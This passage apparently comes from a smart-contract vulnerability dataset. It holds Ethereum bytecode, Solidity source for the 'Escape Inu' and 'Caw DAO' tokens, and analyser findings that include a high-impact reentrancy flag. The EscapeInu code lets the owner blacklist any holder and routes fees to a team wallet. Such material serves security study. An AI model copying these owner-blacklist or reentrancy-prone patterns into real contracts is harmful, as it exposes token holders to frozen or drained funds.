9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002805480919060019003610df991906110a3565b50610e0c565b8080600101915050610c9d565b50600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690557f5116366dc231e0fa2af6a321a8b23373d92eb5af2be1f96bac6b54848996ba85826000604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5050565b610ed96108f4565b610f4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610f5481610f5f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fe5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806110f56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b8154818355818111156110ca578183600052602060002091820191016110c991906110cf565b5b505050565b6110f191905b808211156110ed5760008160009055506001016110d5565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a723158201101c34ec54ad3418db69f09405a5639e07e7bbd70e399f0a11c6fd0772c1fac64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 5,112 |
0x1a84337e0210c4ee1c0d77858dfa3d1ab24054e5
|
/**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EscapeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Escape Inu";
string private constant _symbol = "ESCAPE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xBf2Fb0CEE20636AE477D879A486b3cFcc3db6F9e);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461033d578063b87f137a1461035d578063c3c8cd801461037d578063c9567bf914610392578063dd62ed3e146103a757600080fd5b806370a082311461029c578063715018a6146102bc578063751039fc146102d15780638da5cb5b146102e657806395d89b411461030e57600080fd5b8063273123b7116100e7578063273123b71461020b578063313ce5671461022b5780635932ead114610247578063677daa57146102675780636fc3eaec1461028757600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780631b3f71ae146101c957806323b872dd146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a81526945736361706520496e7560b01b60208201525b60405161016b91906115b0565b60405180910390f35b34801561018057600080fd5b5061019461018f36600461162a565b6103ed565b604051901515815260200161016b565b3480156101b057600080fd5b50678ac7230489e800005b60405190815260200161016b565b3480156101d557600080fd5b506101e96101e436600461166c565b610404565b005b3480156101f757600080fd5b50610194610206366004611731565b6104a3565b34801561021757600080fd5b506101e9610226366004611772565b61050c565b34801561023757600080fd5b506040516009815260200161016b565b34801561025357600080fd5b506101e961026236600461179d565b610557565b34801561027357600080fd5b506101e96102823660046117ba565b61059f565b34801561029357600080fd5b506101e96105f9565b3480156102a857600080fd5b506101bb6102b7366004611772565b610626565b3480156102c857600080fd5b506101e9610648565b3480156102dd57600080fd5b506101e96106bc565b3480156102f257600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031a57600080fd5b5060408051808201909152600681526545534341504560d01b602082015261015e565b34801561034957600080fd5b5061019461035836600461162a565b6106f9565b34801561036957600080fd5b506101e96103783660046117ba565b610706565b34801561038957600080fd5b506101e961075a565b34801561039e57600080fd5b506101e9610790565b3480156103b357600080fd5b506101bb6103c23660046117d3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fa3384846109ae565b5060015b92915050565b6000546001600160a01b031633146104375760405162461bcd60e51b815260040161042e9061180c565b60405180910390fd5b60005b815181101561049f5760016006600084848151811061045b5761045b611841565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104978161186d565b91505061043a565b5050565b60006104b0848484610ad2565b61050284336104fd856040518060600160405280602881526020016119d0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610edc565b6109ae565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161042e9061180c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105815760405162461bcd60e51b815260040161042e9061180c565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260040161042e9061180c565b600081116105d657600080fd5b6105f360646105ed678ac7230489e8000084610f16565b90610f9f565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b4761062381610fe1565b50565b6001600160a01b0381166000908152600260205260408120546103fe9061101b565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161042e9061180c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e65760405162461bcd60e51b815260040161042e9061180c565b678ac7230489e80000600f819055601055565b60006103fa338484610ad2565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161042e9061180c565b6000811161073d57600080fd5b61075460646105ed678ac7230489e8000084610f16565b60105550565b600c546001600160a01b0316336001600160a01b03161461077a57600080fd5b600061078530610626565b905061062381611098565b6000546001600160a01b031633146107ba5760405162461bcd60e51b815260040161042e9061180c565b600e54600160a01b900460ff16156108145760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042e565b600d546001600160a01b031663f305d719473061083081610626565b6000806108456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d29190611886565b5050600e805461ffff60b01b191661010160b01b179055506109036103e86105ed678ac7230489e800006014610f16565b600f5561091f6103e86105ed678ac7230489e80000601e610f16565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801561098a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062391906118b4565b6001600160a01b038316610a105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042e565b6001600160a01b038216610a715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042e565b6001600160a01b038216610b985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042e565b60008111610bfa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042e565b6000600a556007600b55610c166000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610c4557506000546001600160a01b03838116911614155b15610ecc576001600160a01b03831660009081526006602052604090205460ff16158015610c8c57506001600160a01b03821660009081526006602052604090205460ff16155b610c9557600080fd5b600e546001600160a01b038481169116148015610cc05750600d546001600160a01b03838116911614155b8015610ce557506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfa5750600e54600160b81b900460ff165b15610dff57600f54811115610d515760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042e565b60105481610d5e84610626565b610d6891906118d1565b1115610db65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042e565b6001600160a01b0382166000908152600760205260409020544211610dda57600080fd5b610de542601e6118d1565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610e2a5750600d546001600160a01b03848116911614155b8015610e4f57506001600160a01b03831660009081526005602052604090205460ff16155b15610e5f576000600a556007600b555b6000610e6a30610626565b600e54909150600160a81b900460ff16158015610e955750600e546001600160a01b03858116911614155b8015610eaa5750600e54600160b01b900460ff165b15610eca57610eb881611098565b478015610ec857610ec847610fe1565b505b505b610ed7838383611212565b505050565b60008184841115610f005760405162461bcd60e51b815260040161042e91906115b0565b506000610f0d84866118e9565b95945050505050565b600082600003610f28575060006103fe565b6000610f348385611900565b905082610f41858361191f565b14610f985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042e565b9392505050565b6000610f9883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061121d565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049f573d6000803e3d6000fd5b60006008548211156110825760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042e565b600061108c61124b565b9050610f988382610f9f565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e0576110e0611841565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611139573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115d9190611941565b8160018151811061117057611170611841565b6001600160a01b039283166020918202929092010152600d5461119691309116846109ae565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111cf90859060009086903090429060040161195e565b600060405180830381600087803b1580156111e957600080fd5b505af11580156111fd573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610ed783838361126e565b6000818361123e5760405162461bcd60e51b815260040161042e91906115b0565b506000610f0d848661191f565b6000806000611258611365565b90925090506112678282610f9f565b9250505090565b600080600080600080611280876113a5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112b29087611402565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112e19086611444565b6001600160a01b038916600090815260026020526040902055611303816114a3565b61130d84836114ed565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161135291815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113808282610f9f565b82101561139c57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113c28a600a54600b54611511565b92509250925060006113d261124b565b905060008060006113e58e878787611560565b919e509c509a509598509396509194505050505091939550919395565b6000610f9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610edc565b60008061145183856118d1565b905083811015610f985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042e565b60006114ad61124b565b905060006114bb8383610f16565b306000908152600260205260409020549091506114d89082611444565b30600090815260026020526040902055505050565b6008546114fa9083611402565b60085560095461150a9082611444565b6009555050565b600080808061152560646105ed8989610f16565b9050600061153860646105ed8a89610f16565b905060006115508261154a8b86611402565b90611402565b9992985090965090945050505050565b600080808061156f8886610f16565b9050600061157d8887610f16565b9050600061158b8888610f16565b9050600061159d8261154a8686611402565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115dd578581018301518582016040015282016115c1565b818111156115ef576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062357600080fd5b803561162581611605565b919050565b6000806040838503121561163d57600080fd5b823561164881611605565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561167f57600080fd5b823567ffffffffffffffff8082111561169757600080fd5b818501915085601f8301126116ab57600080fd5b8135818111156116bd576116bd611656565b8060051b604051601f19603f830116810181811085821117156116e2576116e2611656565b60405291825284820192508381018501918883111561170057600080fd5b938501935b82851015611725576117168561161a565b84529385019392850192611705565b98975050505050505050565b60008060006060848603121561174657600080fd5b833561175181611605565b9250602084013561176181611605565b929592945050506040919091013590565b60006020828403121561178457600080fd5b8135610f9881611605565b801515811461062357600080fd5b6000602082840312156117af57600080fd5b8135610f988161178f565b6000602082840312156117cc57600080fd5b5035919050565b600080604083850312156117e657600080fd5b82356117f181611605565b9150602083013561180181611605565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161187f5761187f611857565b5060010190565b60008060006060848603121561189b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118c657600080fd5b8151610f988161178f565b600082198211156118e4576118e4611857565b500190565b6000828210156118fb576118fb611857565b500390565b600081600019048311821515161561191a5761191a611857565b500290565b60008261193c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561195357600080fd5b8151610f9881611605565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ae5784516001600160a01b031683529383019391830191600101611989565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cdc4c7471f3228632f33d47547c631f1ee6fd91a0f6788a9ea9a91f6b7f50f7564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,113 |
0x0d17b7007516698d1dadf73323277a71f78b954b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/*
Stealth launch
- Telegram: https://t.me/CawDAO
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CAWDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Caw DAO";
string private constant _symbol = "CAWDAO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 1;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 1;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x3Ca4fd5a59B35B0974AFB227C35eE40793650893);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
